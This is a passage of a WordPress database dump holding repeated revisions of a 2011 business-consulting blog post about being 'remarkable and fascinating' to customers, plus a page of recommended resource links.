others\r\n\r\n• stop selling, listen\r\n\r\n• take more risks, get out on the edges\r\n\r\n• be humble and grateful\r\n\r\n• elevate the quality of your presence in the world\r\n\r\n• stand for a higher ideal\r\n\r\n• seek respect over affection\r\n\r\n• elevate all you come into contact with\r\n\r\n• quit sending your brochures through the mail\r\n\r\n• don’t cold call prospects, let them find you.<strong></strong>\r\n\r\n<strong>The slush pile grows ever larger.</strong>\r\n\r\nThe quantity of information people deal with is unimaginable compared to a decade ago. Social media has only accelerated this explosion. It’s easy enough to connect yourself into the fabric of the digital scene, but your participation won’t insure others will engage with you–the world doesn’t need more vanilla, me-too, warmed-over anything.\r\n\r\nThe game of business development has changed. Selling is not cool. People yearning for remarkable and fascinating solutions to their problems, fears and desires ignore people who are selling something. Be remarkable and fascinating or stay home.\r\n\r\n<strong>What makes you remarkable and fascinating?</strong>', 'How fascinating and remarkable are you?', 0, '', 'inherit', 'open', 'open', '', '1662-revision-15', '', '', '2011-06-30 13:47:40', '2011-06-30 20:47:40', '', 1662, 'http://www.whitehotcenter.com/1662-revision-15/', 0, 'revision', '', 0),
(1679, 2, '2011-06-30 13:49:59', '2011-06-30 20:49:59', '<img class="alignnone size-full wp-image-1663" title="fascinatingart" src="http://whc.fbdev.org/wp-content/uploads/2011/06/fascinatingart.jpg" alt="" width="490" height="342" />\r\n<h1><span style="color: #808080;">For your business to really get the traction and momentum it needs to get to the next level, you better be fascinating and contribute something remarkable</span>.</h1>\r\nIn working with my entrepreneur consulting clients, many want to hyper-focused on marketing activities that produce instant results. Well I have news for you–the world doesn’t work that way anymore. Nobody cares that you need business. Building your business takes time! There are no silver bullets. Building lifetime relationships with high value clients and customers requires you bring something extraordinary to the party.\r\n\r\nCustomers don’t care about what you do and they don''t want to be sold; they want to “buy into” something that they care about. You have to create value for others first, the money comes later. Stop selling and start connecting. Be remarkable and fascinating.\r\n\r\n<strong>Value is in the eye of the beholder. </strong>\r\n\r\nYou may think your stuff’s cool, but if nobody is paying attention to your contributions of value, if your offer is boring, your value to the world will be still born. You have to engage and connect what’s important to you in ways that really matter to your customers.\r\n<h2>What you bring to the world has to be fascinating, remarkable, and most of all sharable.</h2>\r\nYou can’t wear fascinating and remarkable like trendy shoes,  you have to really be remarkable and fascinating– and what’s remarkable and fascinating about what you bring to the party resides within you. You can''t fake it till you make. Of course, you have to believe that first to make the magic work.\r\n\r\n<strong>A special treat for you.</strong>\r\n\r\nHead on over to <strong><a href="http://sallyhogshead.com/" target="_blank">Sally Hogshead</a> </strong>blog and take her free <strong><a href="http://sallyhogshead.com/fscoreq1/" target="_blank">(F)Score Brand Personality Test</a>.</strong> I believe you’ll discover helpful insight into your strengths that will make you (and your value proposition) more remarkable and fascinating.\r\n\r\nIn the slush pile of information on the web, I think her stuff is right at the top. If you seek information on how to connect your message to customers, she can help you. I took the test myself. My results were very insightful and useful.  Please let me know if you found your results fascinating.\r\n\r\n<strong>Here are some suggestions for being more remarkable and fascinating:</strong>\r\n\r\n• have empathy for others\r\n\r\n• contribute to others without attachment to reciprocity\r\n\r\n• find a parade and lead it\r\n\r\n• stop competing for what’s already been created by others\r\n\r\n• stop selling, listen\r\n\r\n• take more risks, get out on the edges\r\n\r\n• be humble and grateful\r\n\r\n• elevate the quality of your presence in the world\r\n\r\n• stand for a higher ideal\r\n\r\n• seek respect over affection\r\n\r\n• elevate all you come into contact with\r\n\r\n• quit sending your brochures through the mail\r\n\r\n• don’t cold call prospects, let them find you.<strong></strong>\r\n\r\n<strong>The slush pile grows ever larger.</strong>\r\n\r\nThe quantity of information people deal with is unimaginable compared to a decade ago. Social media has only accelerated this explosion. It’s easy enough to connect yourself into the fabric of the digital scene, but your participation won’t insure others will engage with you–the world doesn’t need more vanilla, me-too, warmed-over anything.\r\n\r\nThe game of business development has changed. Selling is not cool. People yearning for remarkable and fascinating solutions to their problems, fears and desires ignore people who are selling something. Be remarkable and fascinating or stay home.\r\n\r\n<strong>What makes you remarkable and fascinating?</strong>', 'How fascinating and remarkable are you?', 0, '', 'inherit', 'open', 'open', '', '1662-revision-16', '', '', '2011-06-30 13:49:59', '2011-06-30 20:49:59', '', 1662, 'http://www.whitehotcenter.com/1662-revision-16/', 0, 'revision', '', 0);
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(1680, 2, '2011-06-30 13:50:08', '2011-06-30 20:50:08', '<img class="alignnone size-full wp-image-1663" title="fascinatingart" src="http://whc.fbdev.org/wp-content/uploads/2011/06/fascinatingart.jpg" alt="" width="490" height="342" />\r\n<h1><span style="color: #808080;">For your business to really get the traction and momentum it needs to get to the next level, you better be fascinating and contribute something remarkable</span>.</h1>\r\nIn working with my entrepreneur consulting clients, many want to hyper-focused on marketing activities that produce instant results. Well I have news for you–the world doesn’t work that way anymore. Nobody cares that you need business. Building your business takes time! There are no silver bullets. Building lifetime relationships with high value clients and customers requires you bring something extraordinary to the party.\r\n\r\nCustomers don’t care about what you do and they don''t want to be sold; they want to “buy into” something that they care about. You have to create value for others first, the money comes later. Stop selling and start connecting. Be remarkable and fascinating.\r\n\r\n<strong>Value is in the eye of the beholder. </strong>\r\n\r\nYou may think your stuff’s cool, but if nobody is paying attention to your contributions of value, if your offer is boring, your value to the world will be still born. You have to engage and connect what’s important to you in ways that really matter to your customers.\r\n<h2>What you bring to the world has to be fascinating, remarkable, and most of all sharable.</h2>\r\nYou can’t wear fascinating and remarkable like trendy shoes,  you have to really be remarkable and fascinating– and what’s remarkable and fascinating about what you bring to the party resides within you. You can''t fake it till you make. Of course, you have to believe that first to make the magic work.\r\n\r\n<strong>A special treat for you.</strong>\r\n\r\nHead on over to <strong><a href="http://sallyhogshead.com/" target="_blank">Sally Hogshead</a> </strong>blog and take her free <strong><a href="http://sallyhogshead.com/fscoreq1/" target="_blank">(F)Score Brand Personality Test</a>.</strong> I believe you’ll discover helpful insight into your strengths that will make you (and your value proposition) more remarkable and fascinating.\r\n\r\nIn the slush pile of information on the web, I think her stuff is right at the top. If you seek information on how to connect your message to customers, she can help you. I took the test myself. My results were very insightful and useful.  Please let me know if you found your results fascinating.\r\n\r\n<strong>Here are some suggestions for being more remarkable and fascinating:</strong>\r\n\r\n• have empathy for others\r\n\r\n• contribute to others without attachment to reciprocity\r\n\r\n• find a parade and lead it\r\n\r\n• stop competing for what’s already been created by others\r\n\r\n• stop selling, listen\r\n\r\n• take more risks, get out on the edges\r\n\r\n• be humble and grateful\r\n\r\n• elevate the quality of your presence in the world\r\n\r\n• stand for a higher ideal\r\n\r\n• seek respect over affection\r\n\r\n• elevate all you come into contact with\r\n\r\n• quit sending your brochures through the mail\r\n\r\n• don’t cold call prospects, let them find you.<strong></strong>\r\n\r\n<strong>The slush pile grows ever larger.</strong>\r\n\r\nThe quantity of information people deal with is unimaginable compared to a decade ago. Social media has only accelerated this explosion. It’s easy enough to connect yourself into the fabric of the digital scene, but your participation won’t insure others will engage with you–the world doesn’t need more vanilla, me-too, warmed-over anything.\r\n\r\nThe game of business development has changed. Selling is not cool. People yearning for remarkable and fascinating solutions to their problems, fears and desires ignore people who are selling something. Be remarkable and fascinating or stay home.\r\n\r\n<strong>What makes you remarkable and fascinating?</strong>', 'How fascinating and remarkable are you?', 0, '', 'inherit', 'open', 'open', '', '1662-revision-17', '', '', '2011-06-30 13:50:08', '2011-06-30 20:50:08', '', 1662, 'http://www.whitehotcenter.com/1662-revision-17/', 0, 'revision', '', 0),
(1681, 2, '2011-06-30 13:50:50', '2011-06-30 20:50:50', '<img class="alignnone size-full wp-image-1663" title="fascinatingart" src="http://whc.fbdev.org/wp-content/uploads/2011/06/fascinatingart.jpg" alt="" width="490" height="342" />\r\n<h1><span style="color: #808080;">For your business to really get the traction and momentum it needs to get to the next level, you better be fascinating and contribute something remarkable</span>.</h1>\r\nIn working with my entrepreneur consulting clients, many want to hyper-focus on marketing activities that produce instant results. Well I have news for you–the world doesn’t work that way anymore. Nobody cares that you need business. Building your business takes time! There are no silver bullets. Building lifetime relationships with high value clients and customers requires you bring something extraordinary to the party.\r\n\r\nCustomers don’t care about what you do and they don''t want to be sold; they want to “buy into” something that they care about. You have to create value for others first, the money comes later. Stop selling and start connecting. Be remarkable and fascinating.\r\n\r\n<strong>Value is in the eye of the beholder. </strong>\r\n\r\nYou may think your stuff’s cool, but if nobody is paying attention to your contributions of value, if your offer is boring, your value to the world will be still born. You have to engage and connect what’s important to you in ways that really matter to your customers.\r\n<h2>What you bring to the world has to be fascinating, remarkable, and most of all sharable.</h2>\r\nYou can’t wear fascinating and remarkable like trendy shoes,  you have to really be remarkable and fascinating– and what’s remarkable and fascinating about what you bring to the party resides within you. You can''t fake it till you make. Of course, you have to believe that first to make the magic work.\r\n\r\n<strong>A special treat for you.</strong>\r\n\r\nHead on over to <strong><a href="http://sallyhogshead.com/" target="_blank">Sally Hogshead</a> </strong>blog and take her free <strong><a href="http://sallyhogshead.com/fscoreq1/" target="_blank">(F)Score Brand Personality Test</a>.</strong> I believe you’ll discover helpful insight into your strengths that will make you (and your value proposition) more remarkable and fascinating.\r\n\r\nIn the slush pile of information on the web, I think her stuff is right at the top. If you seek information on how to connect your message to customers, she can help you. I took the test myself. My results were very insightful and useful.  Please let me know if you found your results fascinating.\r\n\r\n<strong>Here are some suggestions for being more remarkable and fascinating:</strong>\r\n\r\n• have empathy for others\r\n\r\n• contribute to others without attachment to reciprocity\r\n\r\n• find a parade and lead it\r\n\r\n• stop competing for what’s already been created by others\r\n\r\n• stop selling, listen\r\n\r\n• take more risks, get out on the edges\r\n\r\n• be humble and grateful\r\n\r\n• elevate the quality of your presence in the world\r\n\r\n• stand for a higher ideal\r\n\r\n• seek respect over affection\r\n\r\n• elevate all you come into contact with\r\n\r\n• quit sending your brochures through the mail\r\n\r\n• don’t cold call prospects, let them find you.<strong></strong>\r\n\r\n<strong>The slush pile grows ever larger.</strong>\r\n\r\nThe quantity of information people deal with is unimaginable compared to a decade ago. Social media has only accelerated this explosion. It’s easy enough to connect yourself into the fabric of the digital scene, but your participation won’t insure others will engage with you–the world doesn’t need more vanilla, me-too, warmed-over anything.\r\n\r\nThe game of business development has changed. Selling is not cool. People yearning for remarkable and fascinating solutions to their problems, fears and desires ignore people who are selling something. Be remarkable and fascinating or stay home.\r\n\r\n<strong>What makes you remarkable and fascinating?</strong>', 'How fascinating and remarkable are you?', 0, '', 'inherit', 'open', 'open', '', '1662-revision-18', '', '', '2011-06-30 13:50:50', '2011-06-30 20:50:50', '', 1662, 'http://www.whitehotcenter.com/1662-revision-18/', 0, 'revision', '', 0),
(1682, 2, '2011-06-30 13:51:01', '2011-06-30 20:51:01', '<img class="alignnone size-full wp-image-1663" title="fascinatingart" src="http://whc.fbdev.org/wp-content/uploads/2011/06/fascinatingart.jpg" alt="" width="490" height="342" />\r\n<h1><span style="color: #808080;">For your business to really get the traction and momentum it needs to get to the next level, you better be fascinating and contribute something remarkable</span>.</h1>\r\nIn working with my entrepreneur consulting clients, many want to hyper-focus on marketing activities that produce instant results. Well I have news for you–the world doesn’t work that way anymore. Nobody cares that you need business. Building your business takes time! There are no silver bullets. Building lifetime relationships with high value clients and customers requires you bring something extraordinary to the party.\r\n\r\nCustomers don’t care about what you do and they don''t want to be sold; they want to “buy into” something that they care about. You have to create value for others first, the money comes later. Stop selling and start connecting. Be remarkable and fascinating.\r\n\r\n<strong>Value is in the eye of the beholder. </strong>\r\n\r\nYou may think your stuff’s cool, but if nobody is paying attention to your contributions of value, if your offer is boring, your value to the world will be still born. You have to engage and connect what’s important to you in ways that really matter to your customers.\r\n<h2>What you bring to the world has to be fascinating, remarkable, and most of all sharable.</h2>\r\nYou can’t wear fascinating and remarkable like trendy shoes,  you have to really be remarkable and fascinating– and what’s remarkable and fascinating about what you bring to the party resides within you. You can''t fake it till you make. Of course, you have to believe that first to make the magic work.\r\n\r\n<strong>A special treat for you.</strong>\r\n\r\nHead on over to <strong><a href="http://sallyhogshead.com/" target="_blank">Sally Hogshead</a> </strong>blog and take her free <strong><a href="http://sallyhogshead.com/fscoreq1/" target="_blank">(F)Score Brand Personality Test</a>.</strong> I believe you’ll discover helpful insight into your strengths that will make you (and your value proposition) more remarkable and fascinating.\r\n\r\nIn the slush pile of information on the web, I think her stuff is right at the top. If you seek information on how to connect your message to customers, she can help you. I took the test myself. My results were very insightful and useful.  Please let me know if you found your results fascinating.\r\n\r\n<strong>Here are some suggestions for being more remarkable and fascinating:</strong>\r\n\r\n• have empathy for others\r\n\r\n• contribute to others without attachment to reciprocity\r\n\r\n• find a parade and lead it\r\n\r\n• stop competing for what’s already been created by others\r\n\r\n• stop selling, listen\r\n\r\n• take more risks, get out on the edges\r\n\r\n• be humble and grateful\r\n\r\n• elevate the quality of your presence in the world\r\n\r\n• stand for a higher ideal\r\n\r\n• seek respect over affection\r\n\r\n• elevate all you come into contact with\r\n\r\n• quit sending your brochures through the mail\r\n\r\n• don’t cold call prospects, let them find you.<strong></strong>\r\n\r\n<strong>The slush pile grows ever larger.</strong>\r\n\r\nThe quantity of information people deal with is unimaginable compared to a decade ago. Social media has only accelerated this explosion. It’s easy enough to connect yourself into the fabric of the digital scene, but your participation won’t insure others will engage with you–the world doesn’t need more vanilla, me-too, warmed-over anything.\r\n\r\nThe game of business development has changed. Selling is not cool. People yearning for remarkable and fascinating solutions to their problems, fears and desires ignore people who are selling something. Be remarkable and fascinating or stay home.\r\n\r\n<strong>What makes you remarkable and fascinating?</strong>', 'How fascinating and remarkable are you?', 0, '', 'inherit', 'open', 'open', '', '1662-revision-19', '', '', '2011-06-30 13:51:01', '2011-06-30 20:51:01', '', 1662, 'http://www.whitehotcenter.com/1662-revision-19/', 0, 'revision', '', 0),
(1683, 2, '2011-06-30 14:26:39', '2011-06-30 21:26:39', '<img class="alignnone size-full wp-image-1663" title="fascinatingart" src="http://whc.fbdev.org/wp-content/uploads/2011/06/fascinatingart.jpg" alt="" width="490" height="342" />\r\n<h1><span style="color: #808080;">For your business to really get the traction and momentum it needs to get to the next level, you better be fascinating and contribute something remarkable</span>.</h1>\r\nIn working with my entrepreneur consulting clients, many want to hyper-focus on marketing activities that produce instant results. Well I have news for you–the world doesn’t work that way anymore. Nobody cares that you need business. Building your business takes time! There are no silver bullets. Building lifetime relationships with high value clients and customers requires you bring something extraordinary to the party.\r\n\r\nCustomers don’t care about what you do and they don''t want to be sold; they want to “buy into” something that they care about. You have to create value for others first, the money comes later. Stop selling and start connecting. Be remarkable and fascinating.\r\n\r\n<strong>Value is in the eye of the beholder. </strong>\r\n\r\nYou may think your stuff’s cool, but if nobody is paying attention to your contributions of value, if your offer is boring, your value to the world will be still born. You have to engage and connect what’s important to you in ways that really matter to your customers.\r\n<h2>What you bring to the world has to be fascinating, remarkable, and most of all sharable.</h2>\r\nYou can’t wear fascinating and remarkable like trendy shoes,  you have to really be remarkable and fascinating– and what’s remarkable and fascinating about what you bring to the party resides within you. You can''t fake it till you make. Of course, you have to believe that first to make the magic work.\r\n\r\n<strong>Here are some suggestions for being more remarkable and fascinating:</strong>\r\n\r\n• have empathy for others\r\n\r\n• contribute to others without attachment to reciprocity\r\n\r\n• find a parade and lead it\r\n\r\n• stop competing for what’s already been created by others\r\n\r\n• stop selling, listen\r\n\r\n• take more risks, get out on the edges\r\n\r\n• be humble and grateful\r\n\r\n• elevate the quality of your presence in the world\r\n\r\n• stand for a higher ideal\r\n\r\n• seek respect over affection\r\n\r\n• elevate all you come into contact with\r\n\r\n• quit sending your brochures through the mail\r\n\r\n• don’t cold call prospects, let them find you.<strong></strong>\r\n\r\n<strong>The slush pile grows ever larger.</strong>\r\n\r\nThe quantity of information people deal with is unimaginable compared to a decade ago. Social media has only accelerated this explosion. It’s easy enough to connect yourself into the fabric of the digital scene, but your participation won’t insure others will engage with you–the world doesn’t need more vanilla, me-too, warmed-over anything.\r\n\r\nThe game of business development has changed. Selling is not cool. People yearning for remarkable and fascinating solutions to their problems, fears and desires ignore people who are selling something. Be remarkable and fascinating or stay home.\r\n\r\n<strong>A special treat for you.</strong>\r\n\r\nHead on over to <strong><a href="http://sallyhogshead.com/" target="_blank">Sally Hogshead</a> </strong>blog and take her free <strong><a href="http://sallyhogshead.com/fscoreq1/" target="_blank">(F)Score Brand Personality Test</a>.</strong> I believe you’ll discover helpful insight into your strengths that will  make you (and your value proposition) more remarkable and fascinating.\r\n\r\nIn the slush pile of information on the web, I think her stuff is  right at the top. If you seek information on how to remarkably connect your message  to customers, she can help you. I took the test myself.  The results were  very insightful and useful.  Please let me know if you found your  results fascinating.\r\n\r\n<strong>What makes you remarkable and fascinating?</strong>', 'How fascinating and remarkable are you?', 0, '', 'inherit', 'open', 'open', '', '1662-revision-20', '', '', '2011-06-30 14:26:39', '2011-06-30 21:26:39', '', 1662, 'http://www.whitehotcenter.com/1662-revision-20/', 0, 'revision', '', 0),
(1687, 2, '2011-06-30 14:40:21', '2011-06-30 21:40:21', '<img class="alignnone size-full wp-image-1663" title="fascinatingart" src="http://whc.fbdev.org/wp-content/uploads/2011/06/fascinatingart.jpg" alt="" width="490" height="342" />\r\n<h1><span style="color: #808080;">For your business to really get the traction and momentum it needs to get to the next level, you better be fascinating and contribute something remarkable</span>.</h1>\r\nIn working with my entrepreneur consulting clients, many want to hyper-focus on marketing activities that produce instant results. Well I have news for you–the world doesn’t work that way anymore. Nobody cares that you need business. Building your business takes time! There are no silver bullets. Building lifetime relationships with high value clients and customers requires you bring something extraordinary to the party.\r\n\r\nCustomers don’t care about what you do and they don''t want to be sold; they want to “buy into” something that they care about. You have to create value for others first, the money comes later. Stop selling and start connecting. Be remarkable and fascinating.\r\n\r\n<strong>Value is in the eye of the beholder. </strong>\r\n\r\nYou may think your stuff’s cool, but if nobody is paying attention to your contributions of value, if your offer is boring, your value to the world will be still born. You have to engage and connect what’s important to you in ways that really matter to your customers.\r\n<h2>What you bring to the world has to be fascinating, remarkable, and most of all sharable.</h2>\r\nYou can’t wear fascinating and remarkable like trendy shoes,  you have to really be remarkable and fascinating– and what’s remarkable and fascinating about what you bring to the party resides within you. You can''t fake it till you make. Of course, you have to believe that first to make the magic work.\r\n\r\n<strong>Here are some suggestions for being more remarkable and fascinating:</strong>\r\n\r\n• have empathy for others\r\n\r\n• contribute to others without attachment to reciprocity\r\n\r\n• find a parade and lead it\r\n\r\n• stop competing for what’s already been created by others\r\n\r\n• stop selling, listen\r\n\r\n• take more risks, get out on the edges\r\n\r\n• be humble and grateful\r\n\r\n• elevate the quality of your presence in the world\r\n\r\n• stand for a higher ideal\r\n\r\n• seek respect over affection\r\n\r\n• elevate all you come into contact with\r\n\r\n• quit sending your brochures through the mail\r\n\r\n• don’t cold call prospects, let them find you.<strong></strong>\r\n\r\n<strong>The slush pile grows ever larger.</strong>\r\n\r\nThe quantity of information people deal with is unimaginable compared to a decade ago. Social media has only accelerated this explosion. It’s easy enough to connect yourself into the fabric of the digital scene, but your participation won’t insure others will engage with you–the world doesn’t need more vanilla, me-too, warmed-over anything.\r\n\r\nThe game of business development has changed. Selling is not cool. People yearning for remarkable and fascinating solutions to their problems, fears and desires ignore people who are selling something. Be remarkable and fascinating or stay home.\r\n\r\n<strong>A special treat for you.</strong>\r\n\r\nHead on over to <strong><a href="http://sallyhogshead.com/" target="_blank">Sally Hogshead</a> </strong>blog and take her free <strong><a href="http://sallyhogshead.com/fscoreq1/" target="_blank">(F)Score Brand Personality Test</a>.</strong> I believe you’ll discover helpful insight into your strengths that will  make you (and your value proposition) more remarkable and fascinating.\r\n\r\nIn the slush pile of information on the web, I think her stuff is  right at the top. If you seek information on how to remarkably connect your message  to customers, she can help you. I took the test myself.  The results were  very insightful and useful.  Please let me know if you found your  results fascinating.\r\n\r\n<strong>What makes you remarkable and fascinating?</strong>', 'How fascinating and remarkable are you?', 0, '', 'inherit', 'open', 'open', '', '1662-revision-22', '', '', '2011-06-30 14:40:21', '2011-06-30 21:40:21', '', 1662, 'http://www.whitehotcenter.com/1662-revision-22/', 0, 'revision', '', 0),
(1684, 2, '2011-04-12 11:18:52', '2011-04-12 18:18:52', '<span style="color: #808080;"> </span>\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/04/CompProofBusiness-ebook.pdf" target="_blank"><span style="color: #ff6600;"><img class="alignnone size-full wp-image-1093" title="Competition Proof Your Business EBook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></span></a><span style="color: #333333;"><strong>Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable you to have more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!</strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></span>\r\n<h2><span style="color: #333333;"><strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></strong></span><strong><span style="color: #ff6600;">The White Hot Center highly recommends you check out these great resources for your personal and professional inspiration</span><span style="color: #ff6600;">:</span></strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">oddpodz.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.biznik.com" target="_blank">biznik.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2011-04-12 11:18:52', '2011-04-12 18:18:52', '', 145, 'http://www.whitehotcenter.com/145-revision-79/', 0, 'revision', '', 0),
(1686, 2, '2011-06-30 14:26:46', '2011-06-30 21:26:46', '<p><img class="alignnone size-full wp-image-1663" title="fascinatingart" src="http://whc.fbdev.org/wp-content/uploads/2011/06/fascinatingart.jpg" alt="" width="490" height="342" /></p>\r\n<h1><span style="color: #808080;">For your business to really get the traction and momentum it needs to get to the next level, you better be fascinating and contribute something remarkable</span>.</h1>\r\n<p>In working with my entrepreneur consulting clients, many want to hyper-focus on marketing activities that produce instant results. Well I have news for you–the world doesn’t work that way anymore. Nobody cares that you need business. Building your business takes time! There are no silver bullets. Building lifetime relationships with high value clients and customers requires you bring something extraordinary to the party.</p>\r\n<p>Customers don’t care about what you do and they don''t want to be sold; they want to “buy into” something that they care about. You have to create value for others first, the money comes later. Stop selling and start connecting. Be remarkable and fascinating.</p>\r\n<p><strong>Value is in the eye of the beholder. </strong></p>\r\n<p>You may think your stuff’s cool, but if nobody is paying attention to your contributions of value, if your offer is boring, your value to the world will be still born. You have to engage and connect what’s important to you in ways that really matter to your customers.</p>\r\n<h2>What you bring to the world has to be fascinating, remarkable, and most of all sharable.</h2>\r\n<p>You can’t wear fascinating and remarkable like trendy shoes,  you have to really be remarkable and fascinating– and what’s remarkable and fascinating about what you bring to the party resides within you. You can''t fake it till you make. Of course, you have to believe that first to make the magic work.</p>\r\n<p><strong>Here are some suggestions for being more remarkable and fascinating:</strong></p>\r\n<p>• have empathy for others</p>\r\n<p>• contribute to others without attachment to reciprocity</p>\r\n<p>• find a parade and lead it</p>\r\n<p>• stop competing for what’s already been created by others</p>\r\n<p>• stop selling, listen</p>\r\n<p>• take more risks, get out on the edges</p>\r\n<p>• be humble and grateful</p>\r\n<p>• elevate the quality of your presence in the world</p>\r\n<p>• stand for a higher ideal</p>\r\n<p>• seek respect over affection</p>\r\n<p>• elevate all you come into contact with</p>\r\n<p>• quit sending your brochures through the mail</p>\r\n<p>• don’t cold call prospects, let them find you.<strong></strong></p>\r\n<p><strong>The slush pile grows ever larger.</strong></p>\r\n<p>The quantity of information people deal with is unimaginable compared to a decade ago. Social media has only accelerated this explosion. It’s easy enough to connect yourself into the fabric of the digital scene, but your participation won’t insure others will engage with you–the world doesn’t need more vanilla, me-too, warmed-over anything.</p>\r\n<p>The game of business development has changed. Selling is not cool. People yearning for remarkable and fascinating solutions to their problems, fears and desires ignore people who are selling something. Be remarkable and fascinating or stay home.</p>\r\n<p><strong>A special treat for you.</strong></p>\r\n<p>Head on over to <strong><a href="http://sallyhogshead.com/" target="_blank">Sally Hogshead</a> </strong>blog and take her free <strong><a href="http://sallyhogshead.com/fscoreq1/" target="_blank">(F)Score Brand Personality Test</a>.</strong> I believe you’ll discover helpful insight into your strengths that will  make you (and your value proposition) more remarkable and fascinating.</p>\r\n<p>In the slush pile of information on the web, I think her stuff is  right at the top. If you seek information on how to remarkably connect your message  to customers, she can help you. I took the test myself.  The results were  very insightful and useful.  Please let me know if you found your  results fascinating.</p>\r\n<p><strong>What makes you remarkable and fascinating?</strong></p>\r\n', 'How fascinating and remarkable are you?', 0, '', 'inherit', 'open', 'open', '', '1662-revision-21', '', '', '2011-06-30 14:26:46', '2011-06-30 21:26:46', '', 1662, 'http://www.whitehotcenter.com/1662-revision-21/', 0, 'revision', '', 0),
(1688, 2, '2011-06-30 14:44:33', '2011-06-30 21:44:33', '<img class="alignnone size-full wp-image-1663" title="fascinatingart" src="http://whc.fbdev.org/wp-content/uploads/2011/06/fascinatingart.jpg" alt="" width="490" height="342" />\r\n<h1><span style="color: #808080;">For your business to really get the traction and momentum it needs to get to the next level, you better be fascinating and contribute something remarkable</span>.</h1>\r\nIn working with my entrepreneur consulting clients, many want to hyper-focus on marketing activities that produce instant results. Well I have news for you–the world doesn’t work that way anymore. Nobody cares that you need business. Building your business takes time! There are no silver bullets. Building lifetime relationships with high value clients and customers requires you bring something extraordinary to the party.\r\n\r\nCustomers don’t care about what you do and they don''t want to be sold; they want to “buy into” something that they care about. You have to create value for others first, the money comes later. Stop selling and start connecting. Be remarkable and fascinating.\r\n\r\n<strong>Value is in the eye of the beholder. </strong>\r\n\r\nYou may think your stuff’s cool, but if nobody is paying attention to your contributions of value, if your offer is boring, your value to the world will be still born. You have to engage and connect what’s important to you in ways that really matter to your customers.\r\n<h2>What you bring to the world has to be fascinating, remarkable, and most of all sharable.</h2>\r\nYou can’t wear fascinating and remarkable like trendy shoes,  you have to really be remarkable and fascinating– and what’s remarkable and fascinating about what you bring to the party resides within you. You can''t fake it till you make it. Your proposition has to be genuine from the heart. Of course, you have to believe that first to make the magic work.\r\n\r\n<strong>Here are some suggestions for being more remarkable and fascinating:</strong>\r\n\r\n• have empathy for others\r\n\r\n• contribute to others without attachment to reciprocity\r\n\r\n• find a parade and lead it\r\n\r\n• stop competing for what’s already been created by others\r\n\r\n• stop selling, listen\r\n\r\n• take more risks, get out on the edges\r\n\r\n• be humble and grateful\r\n\r\n• elevate the quality of your presence in the world\r\n\r\n• stand for a higher ideal\r\n\r\n• seek respect over affection\r\n\r\n• elevate all you come into contact with\r\n\r\n• quit sending your brochures through the mail\r\n\r\n• don’t cold call prospects, let them find you.<strong></strong>\r\n\r\n<strong>The slush pile grows ever larger.</strong>\r\n\r\nThe quantity of information people deal with is unimaginable compared to a decade ago. Social media has only accelerated this explosion. It’s easy enough to connect yourself into the fabric of the digital scene, but your participation won’t insure others will engage with you–the world doesn’t need more vanilla, me-too, warmed-over anything.\r\n\r\nThe game of business development has changed. Selling is not cool. People yearning for remarkable and fascinating solutions to their problems, fears and desires ignore people who are selling something. Be remarkable and fascinating or stay home.\r\n\r\n<strong>A special treat for you.</strong>\r\n\r\nHead on over to <strong><a href="http://sallyhogshead.com/" target="_blank">Sally Hogshead</a> </strong>blog and take her free <strong><a href="http://sallyhogshead.com/fscoreq1/" target="_blank">(F)Score Brand Personality Test</a>.</strong> I believe you’ll discover helpful insight into your strengths that will  make you (and your value proposition) more remarkable and fascinating.\r\n\r\nIn the slush pile of information on the web, I think her stuff is  right at the top. If you seek information on how to remarkably connect your message  to customers, she can help you. I took the test myself.  The results were  very insightful and useful.  Please let me know if you found your  results fascinating.\r\n\r\n<strong>What makes you remarkable and fascinating?</strong>', 'How fascinating and remarkable are you?', 0, '', 'inherit', 'open', 'open', '', '1662-revision-23', '', '', '2011-06-30 14:44:33', '2011-06-30 21:44:33', '', 1662, 'http://www.whitehotcenter.com/1662-revision-23/', 0, 'revision', '', 0),
